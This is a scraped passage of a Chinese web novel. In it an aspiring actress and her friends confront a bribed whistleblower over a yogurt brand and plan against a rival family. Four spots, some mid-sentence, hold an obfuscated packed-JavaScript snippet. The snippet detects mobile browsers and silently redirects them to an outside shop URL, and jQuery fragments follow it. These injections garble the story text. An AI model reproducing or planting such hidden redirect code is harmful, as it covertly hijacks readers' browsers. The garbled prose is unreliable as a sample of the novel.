还有人敢当众顶撞徐芳菲? 学生们迅速交换一下目光,暗暗为林见微捏了一把汗。 徐芳菲冷冷地上下打量她,低沉问道:“你是谁?” 林见微朗声道:“我想报名表演培训,前台说我可以过来旁听一下。” 这种现象很常见,徐芳菲点点头,脸色稍稍舒缓了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598254|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 毕竟,多一个来送钱的总是好事。 徐芳菲打量了林见微好半天,挑眉问道:“你刚刚说你有异议?” 林见微笑了笑说:“你刚刚讲的方法固然实用,但不利于一个演员的长远发展。演戏讲究真听真看真感受,我们应该回到理解角色、融入角色的路子上来。” 徐芳菲板起脸不悦道:“这里的学生,包括你自己,都是十几二十岁的孩子,没有那么多人生阅历,对人间苦难也没有切身感受,怎么理解和融入角色?” 林见微:“作为一个演员,感同身受是最重要的能力之一,要深刻理解正在塑造的人物,和他/她合二为一,要充满坚定的信念感:我就是他/她,我经历了他/她经历的一切。” “如果能做到人戏合一,相信自己就是角色,就能对角色的遭遇感同身受,理解他/她的痛苦挣扎,发自内心地为自己和他/她落泪。” 徐芳菲反驳道:“你说得太理想化了,如果我们有充足的创作时间,当然可以慢慢进入角色,找到最合适的状态,但艺考即兴表演之前我们只有短短几分钟准备时间,怎么可能充分理解人物?” 林见微:“还有一种能力叫做触类旁通,其实就算是演了一辈子戏的老戏骨,也不可能经历过人生所有的悲欢离合,这个时候就需要演员建立自己的情绪素材库,随时能从里面调用资源,触类旁通。” 林见微说得尽兴,完全没发现教室后窗上不知何时多了一双幽深的眼睛。 时闻站在门外静静地听着,内心大为震撼。 他没有想到,一个平日里靠唱歌跳舞粉丝打赏为生的主播,不仅对表演有兴趣,而且还能头头是道说出独到见解。 她之前说她想拍短剧的时候,他还以为她是心血来潮随便说说,但现在看来,她早就默默钻研过表演。 难道说她一早就制定好了一个宏伟计划,所做的一切,包括拼尽全力争夺《星璨》名额、努力经营直播事业、挤时间钻研表演,都是为了某个制定好的蓝图? 越和她接触,时闻越觉得大劈叉这个人不简单,她不满足于既定生活,时刻力争上游,她的梦想似乎没有上限。 时闻越想越震惊,甚至油然而生一种钦佩感。 教室内的徐芳菲倒不这么想,眼见学生们一个个陷入沉思,她觉得自己的权威受到了挑战,内心愤怒至极。 她明白林见微说的其实没错,但她无论如何不能承认,不然自己尊严何在,面子何在? 于是她用最不屑的语气反驳道:“你说的这些,恐怕连那些最知名的演员也难以做到,更何况这里坐着的小艺考生。你现在的身份是学生,是来学习的,要抱着谦虚谨慎的态度!” 林见微还想再辩下去,只听喇叭里传来一阵清脆悦耳的铃声——下课时间到了。 徐芳菲恨恨地瞪着林见微,半晌把目光投向教室里其他学生。 众人条件反射地低下头。 “今天拜这位没有礼貌的不速之客所赐,咱们得拖个堂!”徐芳菲尖利地叫道。 说完她瞪着林见微:“你出去!这里不欢迎你!” 林见微冷笑一声,心里念着这次来的主要目的是刘兴和,不能继续和她纠缠下去。 这么想着她撂下一句“出去便出去,奉劝大家另寻良师”,从教室后门退了出去. 这时她才发现默默站在门口的时闻,见她出来先是一愣,好像正在沉思什么。 而且,他看她的目光好像和平时不太一样。 迎着林见微询问的目光,时闻低声道:“你刚刚说的关于表演方法的意见,我都同意。那个姓徐的是在误人子弟,你别听她瞎说。” 林见微在心里笑了,这时时闻又说:“咱们得出去了,刘兴和可能已经来了,谷煜也不知道怎么样了。” 这正是林见微没有和徐芳菲继续杠下去的原因,她立刻点头,二人步履匆匆往门外走去。 47.四十七 二人出去的时候,谷煜还是没有回来,门口聚集了几名学生家长模样的人。 这时向晚突然贴了过来,悄悄在二人耳边道:“快看,有个穿出租车公司制服的人过来了!” 林见微和时闻同时转头,只见一个穿着破旧蓝黄相间短袖上衣,肤色偏黑的中年男子刚刚下电梯,正朝门口走来。 那人不高,中等身材,胡子看上去有几天没理了,刻满纹路的皮肤和不自觉皱起的眉头昭示着生活的艰辛。 等他走到门口,众人看见他衣服后面赫然写着“冬江暖阳”四个大字。 众人低低惊呼一声——眼前这人就是他们要找的舒养酸奶的举报人,冬江暖阳出租车司机刘兴和。 可是谷煜还没有回来。 林见微焦急地朝谷煜消失的楼道张望,准备起身去寻,可是时闻按住她,沉声道:“在这里等一下,我去看看情况。” 说完他站了起来,迈动两条修长的腿快步朝前走去,颀长身影很快消失在楼道口。 林见微焦急地扬着脑袋向楼梯口张望,这时陈晋低声安慰道:“没事的,天塌下来了时闻也能把事处理好。” 林见微苦笑:“他又不是神仙,怎么可能什么事都处理的了?” 陈晋幽然一笑:“你还是不了解他,我的这个老同学沉着冷静,越是遇到棘手的事越能保持头脑清醒,而且他家里又那么有权有势,你放心吧。” 这时他站起身,果断地大步朝刘兴和走去。 刘兴和明显没料到会有人来找他,错愕间见到陈晋伸过来的手,犹疑片刻还是轻轻握住,语气里充满戒备:“你是……?” 陈晋利落地掏出记者证抖在他眼前,亲和地笑道:“您好,是刘兴和先生吗,我是冬江日报的记者陈晋,最近我们正在做一个关于艺考的专题报道,请问可以占用您几分钟时间采访一下吗?” 刘兴和仔细端详了记者证,确认无误后又将陈晋上上下下看了几遍,才吞吞吐吐说:“可以……就在这里吗?” 陈晋笑道:“等下您接到孩子后,可以麻烦您和我们一起去一楼吗?采访很简短,不会耽误您太长时间。” 向晚和龙蔚然一左一右站在陈晋身后,正好挡住了还在座位上坐着的林见微,刘兴和再三犹豫片刻,最终还是点头道:“好。” 门内传来一阵轻快的下课铃声,随即是一片叽叽喳喳欢笑打闹的声音,刘兴和朝内张望,见一个圆脸女生走出来后,一直紧皱的眉头终于少见地舒展开来。 “俐俐!”刘兴和朝女儿招手,声音轻快明亮。 刘伶俐开心一笑,朝同伴说了什么,快步走了出来。 刘兴和微笑地看着女儿,脸上皱纹都舒展开来:“今天怎么样?” 刘伶俐骄傲地仰起头:“挺好的,今天没挨骂!” 刘兴和在她肩上一拍:“没出息,就这么点志向!” 刘伶俐嘿嘿一笑:“每天进步一点点嘛。” 陈晋趁机问道:“你打算考什么专业?” 刘伶俐虽然不知道他是谁,但她生性外向,便大方答道:“表演!” 陈晋笑着鼓励了几句,又做了自我介绍,然后把刘家父女往楼下引。 林见微知趣地躲在人群后面,心想不如趁此机会先躲出去看看时闻和谷煜在忙什么,然后下楼和陈晋会和,等采访结束趁虚而入,打探一下舒养酸奶的事。 推开楼道的门,迎面而来的是一股混着淡淡烟味的热浪。 转角处,谷煜叼着烟头颓丧地半倚在墙上,脸色落寞,时闻站在他旁边盯着那猩红烟头,二人都沉默不语。 林见微一愣,她不记得见过谷煜抽烟,更不记得何时见过他如此失魂的样子。 听见脚步声响,时闻和谷煜同时抬头,眼神里都透着疲惫和无奈。 “怎么了?”林见微犹疑地问道。 谷煜没有回答,低下头深吸了口烟,吐出的白色烟圈遮挡住他半张脸。 时闻替他说:“刚刚接到电话,《星璨》节目的冠名商名单出来了,笑口集团没有中标。” 林见微顿时明白过来,心想这还真是祸不单行。 看着谷煜的样子,她心里泛起一阵心疼,轻声安慰道:“没事,不就是一个节目吗,咱不稀罕!以后还有更多更好的节目等着呢。” 谷煜两根手指夹着烟,苦笑道:“你不明白,本来中标已经是板上钉钉的事,我们已经上下打点好了,可是今天公布名单的时候,本来属于笑口的名额被一个叫做黎明夜空的公司抢走了。” 林见微皱眉:“你的意思是,这里面有猫腻?” 谷煜点头:“肯定有,我的助理查过了,这个叫黎明夜空的公司是最近一年才注册的,几乎没有任何实际经营的业务和收入流水,按照正常程序,根本不可能轮得到它。” “而且,我几乎可以肯定,这又是我们老朋友高翔捣的鬼。” 时闻:“事情还没查清楚前,先别急着下结论,万一是你们集团内部出了问题呢?” 疏不间亲是人和人交往的常识,按理说时闻作为外人,无凭无据,不应该直接指控笑口集团内部。 但时闻和谷煜无话不谈,而且时闻又是出了名的有话直说,所以谷煜也不在意,只是皱紧眉头,陷入沉思。 楼道里三人一起沉默着,外面的蝉鸣显得格外嘹亮,袅袅白烟从烟头升起在空中盘旋。 半晌后谷煜把抽完的烟头摁灭在地上,狠狠用脚碾了几下。 时闻看着地上七零八碎的烟灰,缓缓说:“烟抽完了就回去吧,刘兴和已经到了,陈晋正在拖住他。” 可是谷煜只是摇头,近乎不耐烦地挥挥手示意二人离开:“我没心情管这件事了,你们先去吧。” 时闻紧紧皱起眉头,不可思议地望着他。 三个人一大早特意坐高铁从京南来到冬江,好不容易找到舒养酸奶举报人刘兴和,可是这个节骨眼上谷煜竟然打算撂挑子? 这也太不可接受了! 于是时闻盯着谷煜的眼睛,一字一顿质问:“你内心这么脆弱是吗?” 谷煜眼底竟然泛起一阵狠劲,抬起头时眼里燃着愤怒。 他本来已经够心烦意乱了,现在时闻不安慰他也就罢了,竟然还在这里说他脆弱。 自从接班以后,事情就从来没有顺过,一桩桩一件件都让他头痛不已,可是囿于情势他只能隐忍不发。 可是这个时候他再也压抑不住,怒火如岩浆一样从心底四处冒了出来: “你不知道我肩上的担子有多重吗?”谷煜竭尽全力压低声音,但每一字每一句里还是燃着压不住的愤怒,“你没看见我现在心情很不好吗?” 时闻直直地看着他的眼睛,那里面跳动着某种极强的,让他感到陌生的情绪。 看来这次失去标的对谷煜打击挺大的。 即便如此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601494|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时闻依旧平静地说:“别忘了我们为什么来冬江。问题要一个一个解决,我们先处理举报问题,然后再讨论冠名商的事。” “一个电话就让你失去理智,以后遇到更棘手的问题你怎么办?” 最后一句话如火上浇油,谷煜的怒火呼啦一下烧到最大。 他tm竟然开始说教起来了?? 谷煜近乎低吼道:“你别在这里好为人师!你经历过什么大风大浪?从小到大,你家里什么都给你安排好了,而我只能一步一个脚印艰难地摸着石头过河!” “你可以站着说话不腰疼,可我已经在公司立了军令状了,这个标的拿不下来,我就要卸任让权!现在你让我保持冷静??我怎么可能冷静的下来!” 见情势不对,林见微慌忙上前拦在二人中央:“你们吵什么?我们来冬江就是为了解决舒养酸奶的举报问题,帮助笑口集团恢复口碑,两件事本质上是一件事,现在是最需要我们精诚团结的时候,吵架只会坏了事!” 时闻耸肩指着谷煜,一脸无奈:“旁观者清,你不愿意听我说,那就听听大劈叉的话。” 谷煜梗着脖子,目光越过林见微,笔直精准地射向时闻那张面无表情的脸上:“高家没欺负到你时家头上,所以你尽可以保持风度和理智,在这里当你的翩翩君子,可我已经火烧眉毛了,你还想让我怎样!” 时闻的脸上第一次有了变化,幽深的眼底闪过一丝怒意。 心底有什么东西剧烈翻腾着,时闻用尽全力压制着随时都有可能喷涌而出的愤恨,但最终还是压低声音说: “高家怎么没欺负到我家头上?你知不知道,我和我姐姐最近一直在和高家交涉,见了多少恶心事说了多少恶心话?” “我姐姐为了帮你们争取权益,冒着牺牲手下的核心业务线的风险给高翔施压,而我,我……” 说着时闻竟然说不下去了,脖子上和额头上青筋凸起。 林见微从未见时闻情绪如此激动过,刚想上前说些什么,只见他喉结上下动了几次,最终咬牙低声挤出一句: “我也不得不做一些违背个人意愿的事,而这一切,不都是为了你吗?!” 楼道里一片死寂的沉默。 只有谷煜和时闻的目光在隔空无声地交火。 林见微站在二人中间,一时进也不是退也不是,竟有些尴尬。 她的心里反反复复回响着刚刚时闻石破惊天的告白:不都是为了你吗?! 看看这真爱,多么感人肺腑,动人心魄! 是她多余了啊! 这时时闻的电话响了,铃声在空荡的楼道里显得异常刺耳。 接起电话,对面是陈晋压低透着焦急的声音:“老时,你在哪儿呢?这边采访结束了,你快过来啊,我们都在一楼。” 时闻脸色一沉,回了句“马上过去”就匆匆挂了电话。 抬起头,谷煜兀自梗着脖子瞪着他。 看来短时间内他是不可理喻了,时闻深叹了口气,无奈道:“刚刚的电话你听见了,我们需要以最快的速度冲到一楼,不然刘兴和就走了。” 谷煜依然没动,时闻又说:“我们来就是解决问题的,现在不赶过去,一切都要功亏一篑,我会帮你夺回属于你的冠名权的,你在楼道里再抽一根烟冷静一下,然后赶紧下去和我们汇合。” 说完,他对林见微使了个眼色,然后头也不回地大步朝楼下跑去。 48.四十八 林见微跟了上去,两人咚咚咚一连跑下19楼。 冲出一楼楼道门,只见刘兴和拉着一个扎着低马尾女孩正要往外大门外走。 “等一等,我们还有几个问题想问您……”陈晋见时闻下来,慌忙追上。 刘兴和却连连摆手:“要回家做饭了,太晚了!” 时闻一个箭步跑到刘兴和面前,顶着后者狐疑的目光笑道:“刘先生您好,我们确实还有几个问题想请问您一下,不会耽误您太长时间。” 可是这时刘兴和眼尖地看到正气喘吁吁往这边赶的林见微。 于是他的脸登时拉了下来,用力拽着那女孩的书包带,大步往外走:“我没有什么想再说的了!” 时闻一把拉住他胳膊——时闻身形瘦削,但臂力奇大,这么一拉扯,刘兴和差点一个趔趄后仰摔倒。 女孩子发出一声惊叫,刘兴和踉跄站定后竟指着时闻等人破口大骂:“你们没安好心!合起伙来骗我!” 刘兴和的叫喊引来众人侧目频频,时闻和陈晋不得不低声道:“你冷静一下,我们好好说话。” 刘兴和不由分说就要往外走,这时林见微叫道:“我们聊一下舒养酸奶的事吧,叔叔,我们是特意从京南过来的,希望和您了解一些情况!” 刘兴和怒气冲冲地往外冲,但这时他拉着的那个扎着低马尾的女孩停住了脚步,指着林见微惊道:“是你!” 林见微刚刚没注意那女孩子,现在仔细一看,发现正是刚刚徐芳菲当众训斥的那个学生。 刘兴和拉着女儿刘伶俐往外走,可是刘伶俐怎么也不肯动,只是叫道:“爸,她刚刚帮了我!” 刘兴和愣住,狐疑地看着女儿,刘伶俐便把刚刚徐芳菲当众刁难自己,林见微当众怼徐芳菲的事讲了一遍。 刘兴和脸色一下子缓和许多,他知道女儿在班级里不受待见,也知道徐芳菲是出了名的捡软柿子捏,自己女儿因家境贫寒,没少挨白眼。 现在有个人帮助女儿,他心里感激。 林见微冲刘伶俐笑道:“你艺考有什么问题尽管问我!我之前也准备过这个考试,复习过相关内容。” 刘伶俐激动地叫了一声:“那可太好了!学姐你最后考上了哪个学校?” 林见微低头:“后来没去上学……家里条件不允许,所以高中毕业就出来打工了。” 林见微的话触动了刘家父女的心事,艺考是个费钱的路,刘兴和开出租车挣不了几个钱,但女儿刘伶俐又痴迷表演,可是纵使他咬紧牙关,也很难供得起女儿学艺的高额学费。 所以她这么一说,刘兴和和刘伶俐顿时共情了起来,不无同情地看着她。 林见微淡淡笑道:“天无绝人之路,只要全力以赴,问心无愧做好自己的事,前途总是可以奋斗出来的。” 刘伶俐睁大眼睛,非常认真地点头应和,然后看向刘兴和:“爸,她刚刚说想了解一下舒养酸奶的事,这是怎么回事啊?” 刘兴和本来已经缓和下来的脸色瞬间一僵,脸上浮起一阵寒意。 他拉起女儿的手,很坚决地说:“这件事你不要管!我们得走了。” 林见微慌忙拦住:“叔叔,你是不是有什么难处?”说着压低声音:“如果有人给你钱,我可以给双份!而且我还可以免费为你女儿补习,楼上的那个老师太不专业了,完全就是误人子弟……” 刘兴和暴躁地将她向后一推:“听不懂人话吗?!我说了,不要管了!” 刘兴和掌力大得惊人,林见微被推得一下倒退好几步,如果不是向晚和龙蔚然在后面接着,她肯定一个屁股墩摔倒了。 眼看刘兴和就要消失在大门处,身后一人大声吼道:“等一等,请留步!” 伴着这声叫喊,一个身影闪电般嗖地飞扑过去! 众人惊得下巴要掉下来了,只见谷煜不知何时从楼道口出来,用整个身体的重量将刘兴和精准扑倒! 不知道的还以为是警察抓捕现场呢。 幸好中午一点多大厅内人少,没引起太大骚动。 刘兴和龇牙咧嘴地在地上扭曲着,一旁刘伶俐发出惊声尖叫,谷煜愣是梗着脖子把刘兴和压在地面,低吼道:“别动!” 这架势,仿佛他下一秒就要从腰间咔嚓掏出手铐一般。 但刘兴和不是吃素的,手劲大,愣是从谷煜的全方位压制下找到了破绽,准备逃出生天的时候大腿却被谷煜一把抱住。 “叔叔,你就帮帮我吧!”谷煜哭天喊地地叫了起来。 刘兴和用力抖了几抖,但谷煜跟一个橡皮糖一样黏着下不来。 那惨绝人寰的哭喊声声入耳,简直到了闻者伤心见者落泪的程度。 这也不怪谷煜,毕竟他的全部身家和前途都系于一线。 刘兴和对这半大小伙的当众撒泼打滚实在没辙,只得无奈道:“好,你先放开。” 谷煜还是拽着他大腿不撒手:“不,你先告诉我,是什么人指使你举报我的舒养酸奶!” 刘兴和哭笑不得,仰天长叹一口气,最后无奈道:“确实有一个人跟我保证,只要我举报舒养酸奶,就给我一笔钱。” “今天早上他不知从何处得到风声,知道你们要来找我,特地打电话保证如果我不撤销投诉,就多加钱。” “我也不是故意要和你们作对的,但我们的情况你也看见了,我,我们……唉。” 众人明白他的意思,看着父女二人那洗得有些褪色的衣裤,刘伶俐脚上那双不知穿了多久的有些发黄的白鞋,心里都涌起一股怜悯之情。 谷煜终于放开刘兴和大腿,低声在他耳边说:“我们可以给你更多钱,而且,你看他是谁!” 说着谷煜指向时闻——时闻满脸无奈,不情不愿地将口罩拉下一截,露出大半张脸。 向晚、龙蔚然、刘伶俐三个小女生异口同声尖叫起来。 时闻立刻将口罩推了回去,脸上重新恢复了那副惯常的漠然神色。 刘伶俐求助地看向向晚和龙蔚然,二人肯定地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时闻冷静地翻拍了手机号:“这个人有没有介绍自己是谁?” 刘兴和明显有些犹豫,但最终还是豁出去了,吐露说:“他说他姓徐,是香蕉平台的高层。” 林见微立刻低声惊呼:“是徐总!群蕉荟萃的评委之一!” 谷煜和时闻也立刻反应过来,三人交换了震惊的目光。 谷煜迟疑地指着林见微和刘伶俐,思忖半晌道:“你们刚刚说的那位老师,不是也姓徐?” 刘兴和:“给我打电话的是个中年男人。” 谷煜点头:“我明白,但是这里面会不会有什么联系……” 时闻:“没证实的事,我们不要猜测,回去调查一下,一切就都清楚了。” 谷煜同意他的说法,想了片刻后说:“既然事情差不多搞清楚了,我们就赶紧回去吧,时闻你微信给小姑娘留一下。” 时闻脑袋上冒出:“???!!!” 谷煜催促道:“赶紧的,咱们赶最早的高铁回去,我那边还有事要处理。” 时闻无奈摊手,对刘伶俐报出了一串数字和字母组合:“记住了吧?” 刘伶俐配得上她的名字,记忆力非常好,一边点头一边噼啪在手机上一顿输入。 很快,时闻的手机响了一下。 刘伶俐抬起头微笑地看着他:“好友申请发送了,你通过一下哦!” 49.四十九 谷煜、时闻、林见微三人当天下午坐高铁回到了京南市。 路上三人胡乱吃了点东西,回去之后直奔时闻家,准备复盘一下最近的事情。 刚到家,谷煜便四仰八叉地一头倒在时闻沙发上,揉着腰和小腿叫道:“哎呀妈呀累死我了!” 他一个人横躺着就占了整个长沙发,时闻板着脸把他推起来,自己坐在上次修剪视频的地方,林见微则在扶手椅上坐下。 坐定后时闻便说:“咱们仔细想一想最近发生的事,看看接下来能做些什么。” 谷煜确实累着了,大脑有些转不动,上下眼皮也快粘在一起,所以单手支着脑袋:“那你先说说你的看法。” 时闻:“首先我们最近遇到的问题总共有四个:大劈叉直播账号被封、大劈叉的‘星璨黑幕’热搜、舒养酸奶被恶意举报、笑口集团冠名权被人夺走。” “这四个问题其实归根结底是一个问题,那就是高翔乃至高家在和我们作对。” 谷煜插道:“麦乐鸡、郝施,乃至陈怀顾那家伙可能也推波助澜了一下。” 时闻冷笑一声:“那些都是小虾米,不足为虑,治本的解决方法只有一个,那就是让高翔收手。” 林见微不住点头,忧心忡忡地托着腮:“没错,但我们力量微薄,怎么有能力和高翔抗衡呢?” 时闻轻轻笑了:“这不是还有我和我姐姐吗?” 见林见微疑惑,时闻解释道:“高翔和我们家……有一些十分复杂的关系。” “高家和时家没有什么利益合作,但高翔和我大哥时穆飞是狐朋狗友,两个人从十几岁的时候就鬼混在一起,天天唱K泡吧纸醉金迷,两个人好的时候能穿同一条裤子。” “但我和我姐姐就不喜欢高家,他们家风不正,从高家老爷子到高翔,上梁不正下梁歪,我姐姐呢是生意场上的人,平时和他们因为业务有些人情往来,所以面子上还算和睦。” “我是实在看不惯高家的为人,所以凡是有他们参加的聚会,我能推就推。” 见林见微和谷煜听得认真,时闻续道: “高翔这次封禁大劈叉账号,是因为你在香蕉平台上公开了他玩弄年轻女性的事实,他自然不会承认,所以希望用封号的方式逼你闭嘴。” “高翔想搞垮舒养酸奶甚至笑口集团的冠名权,是冲着你谷煜来的,高翔和谷家几名元老是酒桌上的朋友,所以他们一开口,高翔自然愿意帮忙下绊子。” “现在我方的优势是,我们其实并没有触及高翔的核心利益,无论是大劈叉在香蕉平台的公开叫板,还是谷煜的舒养酸奶让他看着不顺眼,对高翔来说都只是皮外伤,没什么大碍。” “所以他现在的心态就好像一个纨绔公子,突然看到一辆爱车被划了一道,心里堵得慌,丧心病狂地一定要一个说法和赔偿,不然就死磕到底。” 林见微觉得他分析得十分在理:“可是明明是他有错在先,我们凭什么给他说法和赔偿。” 时闻:“没错,所以说他丧心病狂,不可理喻。” “这些事你和谷煜不需要出面,让我姐姐时穆烟斡旋,她答应给高翔让利,还提出了许多优惠条件,只要他气消了,这些事也就有了转机。” 谷煜撇嘴,愤愤叫道:“让他气消?我还一肚子气呢!真是的。” 林见微冲时闻感激地说:“谢谢你帮我们做这些,如果有什么我们能做的,你就开口。” 时闻苦笑了一下:“现在最难讲的是时间问题,我姐姐和高翔接触了几次,事情有了缓解,但很难说高翔什么时候能彻底放下 ……” 谷煜又骂骂咧咧了一会儿,然后说:“改天我去看看你姐姐,好好谢谢她,她对你这个弟弟可真是有求必应。” 时闻脸上闪过一丝欲言又止的表情,但很快便恢复如常:“她做这些也不是无偿的,毕竟我……唉,没什么,她最近不忙,你随时可以登门拜访。” “高翔的事毕竟不在我们的完全掌控中,我们暂且放在一边,接下来有件事我们必须全力以赴。” 谷煜和林见微好奇地看着他,时闻缓缓道:“《星璨》。这是我们能控制的,所以必须好好努力,争取最好的名次。” 谷煜顿时热血沸腾:“没错,《星璨》!大劈叉是我们全部的希望和骄傲,咱们必须全力以赴送她出道!” “我发动所有人脉,咱们都投它个一万票!” 时闻笑道:“尽力而为吧,毕竟这种选秀节目水都挺深的,咱们只能在能控制的范围内竭尽全力。还有大劈叉的短剧事业,也可以提上日程了。” 谷煜开心道:“好啊,咱还挺有事业心呢!老时你可得好好给人指导指导,让她早日成为知名演员。” 时闻苦笑了一下:“正好接了个刘伶俐的活,一只羊也是赶,两只羊也是放。” 听到这里林见微心里颇有微词,合着时闻真以为她是演技小白? 但这一辈子她的角色就是十八线女主播大劈叉,所以也不便说明,就撇了撇嘴打岔道: “咱们的宏伟规划可不能只是关于我的事,时闻你自己的事业呢?” 谷煜大惊失色:“?!大劈叉你就别哪壶不开提哪壶啦!老时已经被演艺圈开除了,想要回去,那真是蜀道之难难于上青天!” 说着还连忙摆手,生怕林见微触动时闻的伤心事。 林见微解释道:“重回演艺圈恐怕得待些时日了……但是还有直播、短剧事业呢,这些也赶紧提上日程吧!” 时闻一愣,下意识道:“这些事不急。” 林见微撇嘴哼了一声:“还是看不起我们直播和短剧行业。” 时闻慌忙说:“不,不是这样的,是因为我……我的事没有你的重要。” 时闻求生欲满满,林见微噗嗤一声笑了,也没再往深了计较。 这么一来谷煜突然想起租房的事,便问时闻:“你的房子还空着吧?找个良辰吉日让大劈叉搬过来呗。” 时闻无奈地看着他:“你怎么又替我决定好了?” 谷煜笑嘻嘻道:“你的房子空着也是空着!多浪费啊,这么好的地段,四通八达,生活便利。” 时闻快速看了一眼林见微,目光里带着一丝不易察觉的紧张。 见林见微默不作声,时闻低声道:“人家不一定愿意搬呢。” 谷煜瞅着林见微笑道:“大劈叉,你说你自己一个人住,是不是挺寂寞的,也不安全?” 林见微错愕:“我……你什么意思,你想让我和时闻搬到一起,做室友??” 时闻的脸上划过一丝无奈,谷煜这才意识到自己没说完整,指着时闻哈哈笑道:“你看看你这人缘!多遭人嫌弃。” 说完突然想皮一下,便补道:“你俩做室友不好吗?时闻平时天天待在家里不出来,神神秘秘的不知道在捣鼓什么,也没个人说话;你呢一个人住又不安全。” “这里正好两间卧室,改天让时闻把他那堆破玩意儿都清出来,把次卧收拾一下腾出来给你,两全其美,不好吗?” 林见微睁大眼睛看着谷煜,实在是不知他在搞哪一出。 但有那么一瞬间,她脑子里浮现出她看着时闻穿着讲究的家居服坐在沙发一角,头发打理得一丝不苟,手边一杯热茶升腾起袅袅白烟。 那认真看书的样子仿佛这世间就只剩下这一方天地,一切纷扰都和他无关。 而她躺在扶手椅上,时闻偶尔抬起头,冲她露出冬日暖阳般的微笑。 她和他的灵魂静静地互相依傍着,享受着这个只属于他们的秘密世界。 这么想着,她的嘴角情不自禁地微微上扬。 她的笑被时闻捕捉到了,于是他竟也情不自禁地开始微笑,而谷煜则指着林见微欣喜道:“你看,她笑了!老时,你人缘还没差到家!!” 林见微慌忙想找补,时闻无奈解释道:“谷煜说的是楼下的房子,一直空着没有出租,你说的室友……不会是我们今天早上刚刚认识的刘伶俐小朋友吧?” 谷煜拍掌哈哈大笑:“你懂我!我就是这个意思,反正你已经答应了要给她补习,为什么不干脆把她接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611195|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,让她和大劈叉在你家楼下做个室友?” 时闻苦笑:“你怎么想一出是一出啊,刘伶俐家在冬江,怎么可能会愿意跑到京南?” 谷煜:“京南是不是有全国最好的电影学院和戏剧学院?刘伶俐是不是需要来京南艺考?既然如此,她提前来这边住半年,熟悉一下环境,如果有机会再去艺术院校实地走访一下,旁听旁听课程,是不是对她很有帮助?” 时闻皱眉想了想,一时竟无法反驳,林见微也觉得他说的有理,便道:“我晚上建个群,时闻你把刘伶俐和刘兴和拉进来,问问他们的想法。” 谷煜:“这就对了嘛!但话又说回来,无论刘伶俐同不同意,大劈叉你都应该搬到楼下来,咱们还有大业要图呢,以后好交流。” 林见微望向时闻——毕竟他才是房东——时闻也在默不作声地看着她,似乎在征询她的意见。 沉默片刻,林见微最终下了很大决心,看着时闻认真问道:“你的租金是多少?” 时闻还没开口,谷煜已经抢道:“租金多少都行,水电全免!” 时闻忍无可忍地白了他好几眼,心想,你为什么总给我安排得明明白白的! 可是谷煜已经把话放出去了,他也不好当场驳回,顶着林见微充满期待的目光,他只得说:“呃,租金你看着给,量力而行就好。水电你不用担心,我和这套房子的一起付了。” 毕竟不靠楼下这套房子的租金吃饭,就当做善事了。 “但是必要的手续还是需要的,小区那边要备份,”时闻很快补道,“你的身份证户口本复印一份给我就行。” 林见微:“喵喵?户口本?” 自从变成大劈叉之后,她一直忙于躲避高利贷、追杀、一门心思地想爆红,户口本这三个字就没出现在她的脑海中过。 身份证她有,但户口本……很可能在姐姐韦宁那里放着。 这么想着她跟韦宁发了个微信。 [姐,最近忙吗?] 本想着韦宁最近肯定在忙《冬逝暖阳》的剧本没功夫看手机,没想到她秒回。 [忙得头都要掉了!啊啊啊啊!] 林见微没忍住噗嗤笑了出来,引得时闻和谷煜纷纷围观。只见韦宁说: [最近两天在选角,文导实在是太严格了,上戏中戏北影北舞各路大神都被pass了,还骂选角导演工作不力,一个像样的演员都找不到!] 林见微在心里微微一笑,没错,她和文眉导演合作的时候有一种强烈感觉,这个人对完美有一种强迫症的执着追求,每一句台词的气口、重音、快慢都要准确无误,每一个细微表情和动作位置都必须无限精准。 而且她的严格是贯穿始终,从选角的时候就会将演员的照片无数次放大缩小,还会将不同主演的照片排列组合放在一起,稍微有不舒服的地方立马换人,拍戏拍到一半突然觉得哪里不对也不惜换人重拍。 许多有经验的演员都被她折磨得要精神衰弱了,跟组的化妆师、灯光师、摄影师、编剧、执行导演等人也都会被磨得脱一层皮。 韦宁的聊天里透着满满的疲惫,时闻默默附和道:“文眉导演对艺术的精益求精和工作起来不要命的架势是业内出了名的,难为了你姐姐。” 抱怨了一通之后韦宁才想起来问林见微是不是有什么事,解释了一番后韦宁说这不巧了吗,她这两天因为要办手续正好带了户口本。 林见微说那太好了,她随时可以去片场取。 韦宁又问:[《星璨》节目准备得怎么样了?] 